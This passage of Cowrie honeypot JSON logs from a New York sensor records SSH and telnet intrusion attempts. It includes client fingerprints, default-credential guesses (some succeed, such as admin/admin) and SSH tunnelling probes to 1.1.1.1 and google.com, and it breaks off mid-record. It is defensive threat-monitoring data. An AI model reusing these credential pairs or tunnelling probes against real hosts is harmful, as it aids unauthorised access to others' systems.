{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:49.476191Z","src_ip":"88.205.172.170","session":"3d4cb0412369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41738,"dst_ip":"10.17.0.5","dst_port":23,"session":"e994bc458cbf","protocol":"telnet","message":"New connection: 20.123.41.163:41738 (10.17.0.5:23) [session: e994bc458cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:49.512376Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdf1234","message":"login attempt [postgres/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:50.108033Z","src_ip":"88.205.172.170","session":"3d4cb0412369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:51.271662Z","src_ip":"88.205.172.170","session":"3d4cb0412369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.0450701713562,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:52.515854Z","src_ip":"20.123.41.163","session":"0e138f1b5115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":50436,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e7ef4d16bb","protocol":"telnet","message":"New connection: 64.41.88.162:50436 (159.203.135.109:23) [session: a5e7ef4d16bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:54.499197Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53440,"dst_ip":"10.17.0.5","dst_port":23,"session":"51223847d0be","protocol":"telnet","message":"New connection: 104.245.105.2:53440 (10.17.0.5:23) [session: 51223847d0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:57.258712Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60912,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5123c38222","protocol":"telnet","message":"New connection: 104.245.105.2:60912 (10.17.0.5:23) [session: bf5123c38222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:07.120445Z"}
{"eventid":"cowrie.session.closed","duration":31.114137649536133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:28.372742Z","src_ip":"104.245.105.2","session":"51223847d0be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":39762,"dst_ip":"10.17.0.5","dst_port":23,"session":"a81181ea699b","protocol":"telnet","message":"New connection: 20.123.41.163:39762 (10.17.0.5:23) [session: a81181ea699b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:31.956312Z"}
{"eventid":"cowrie.session.closed","duration":50.43866515159607,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:33.178177Z","src_ip":"20.123.41.163","session":"49c04f22ba1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45100,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c85acb4824","protocol":"ssh","message":"New connection: 87.251.64.176:45100 (10.17.0.5:22) [session: 57c85acb4824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:35.031939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:35.037521Z","src_ip":"87.251.64.176","session":"57c85acb4824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:35.134809Z","src_ip":"87.251.64.176","session":"57c85acb4824","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:35.426290Z","src_ip":"87.251.64.176","session":"57c85acb4824","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:35.525575Z","session":"57c85acb4824","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:35.626779Z","src_ip":"87.251.64.176","session":"57c85acb4824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:35.862299Z","src_ip":"87.251.64.176","session":"57c85acb4824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.39074373245239,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:36.903018Z","src_ip":"20.123.41.163","session":"e994bc458cbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.27268314361572,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:37.331391Z","src_ip":"20.123.41.163","session":"d38369eb9c55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":39778,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0ff6403da8a","protocol":"telnet","message":"New connection: 20.123.41.163:39778 (10.17.0.5:23) [session: f0ff6403da8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:37.599763Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":36874,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0a2e79fb694","protocol":"ssh","message":"New connection: 182.253.168.47:36874 (10.17.0.5:22) [session: b0a2e79fb694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:39.315452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:40.524026Z","src_ip":"182.253.168.47","session":"b0a2e79fb694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:40.527551Z","src_ip":"182.253.168.47","session":"b0a2e79fb694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.10399055480957,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:41.224297Z","src_ip":"104.245.105.2","session":"bf5123c38222","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"qwerty","message":"login attempt [minecraft/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:42.289033Z","src_ip":"182.253.168.47","session":"b0a2e79fb694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:47.317476Z","src_ip":"182.253.168.47","session":"b0a2e79fb694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.53410530090332,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:03:58.033174Z","src_ip":"64.41.88.162","session":"a5e7ef4d16bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":54396,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfb49c8b5ae2","protocol":"telnet","message":"New connection: 64.41.88.162:54396 (159.203.135.109:23) [session: cfb49c8b5ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:04:01.305592Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51274,"dst_ip":"10.17.0.5","dst_port":23,"session":"20940b4b0e45","protocol":"telnet","message":"New connection: 104.245.105.2:51274 (10.17.0.5:23) [session: 20940b4b0e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:04:11.538034Z"}
{"eventid":"cowrie.session.closed","duration":52.70998787879944,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:04:24.666138Z","src_ip":"20.123.41.163","session":"a81181ea699b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58118,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e9157f9b450","protocol":"telnet","message":"New connection: 104.245.105.2:58118 (10.17.0.5:23) [session: 5e9157f9b450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:04:32.048377Z"}
{"eventid":"cowrie.session.closed","duration":35.198797941207886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:04:36.504288Z","src_ip":"64.41.88.162","session":"cfb49c8b5ae2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.24398350715637,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:04:37.843665Z","src_ip":"20.123.41.163","session":"f0ff6403da8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":42314,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce2a94999e97","protocol":"telnet","message":"New connection: 49.88.156.34:42314 (10.17.0.5:23) [session: ce2a94999e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:04:40.460474Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":53638,"dst_ip":"10.17.0.5","dst_port":22,"session":"93471e31bffa","protocol":"ssh","message":"New connection: 182.253.168.47:53638 (10.17.0.5:22) [session: 93471e31bffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:04:41.827930Z"}
{"eventid":"cowrie.session.closed","duration":46.322248697280884,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:04:57.860209Z","src_ip":"104.245.105.2","session":"20940b4b0e45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37840,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4b046f9c1a","protocol":"telnet","message":"New connection: 20.123.41.163:37840 (10.17.0.5:23) [session: 9e4b046f9c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:02.889821Z"}
{"eventid":"cowrie.session.closed","duration":31.115503549575806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:03.163748Z","src_ip":"104.245.105.2","session":"5e9157f9b450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.315746307373047,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:09.205474Z","src_ip":"20.123.41.163","session":"9e4b046f9c1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37854,"dst_ip":"10.17.0.5","dst_port":23,"session":"025802d8c8da","protocol":"telnet","message":"New connection: 20.123.41.163:37854 (10.17.0.5:23) [session: 025802d8c8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:11.230515Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37086,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfcfdf4adff1","protocol":"telnet","message":"New connection: 20.123.41.163:37086 (10.17.0.5:23) [session: dfcfdf4adff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:47.715060Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":7718,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ae47c52e9a6","protocol":"ssh","message":"New connection: 193.24.211.95:7718 (159.203.135.109:22) [session: 2ae47c52e9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:54.240947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:54.245709Z","src_ip":"193.24.211.95","session":"2ae47c52e9a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:54.354002Z","src_ip":"193.24.211.95","session":"2ae47c52e9a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminuser","message":"login attempt [admin/adminuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:54.797438Z","src_ip":"193.24.211.95","session":"2ae47c52e9a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":80,"src_ip":"193.24.211.95","src_port":8082,"message":"direct-tcp connection request to google.com:80 from 127.0.0.1:8082","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:54.909352Z","session":"2ae47c52e9a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"google.com","dst_port":80,"ja4h":"ge11nn010000_a510e5066512_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to google.com:80: ge11nn010000_a510e5066512_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:55.023295Z","src_ip":"193.24.211.95","session":"2ae47c52e9a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":80,"data":"b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to google.com:80 with data b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:55.027150Z","src_ip":"193.24.211.95","session":"2ae47c52e9a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:05:55.139549Z","src_ip":"193.24.211.95","session":"2ae47c52e9a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.63012146949768,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:10.860527Z","src_ip":"20.123.41.163","session":"025802d8c8da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":41718,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4334e50986","protocol":"ssh","message":"New connection: 88.205.172.170:41718 (10.17.0.5:22) [session: dc4334e50986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:19.766802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:19.771879Z","src_ip":"88.205.172.170","session":"dc4334e50986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 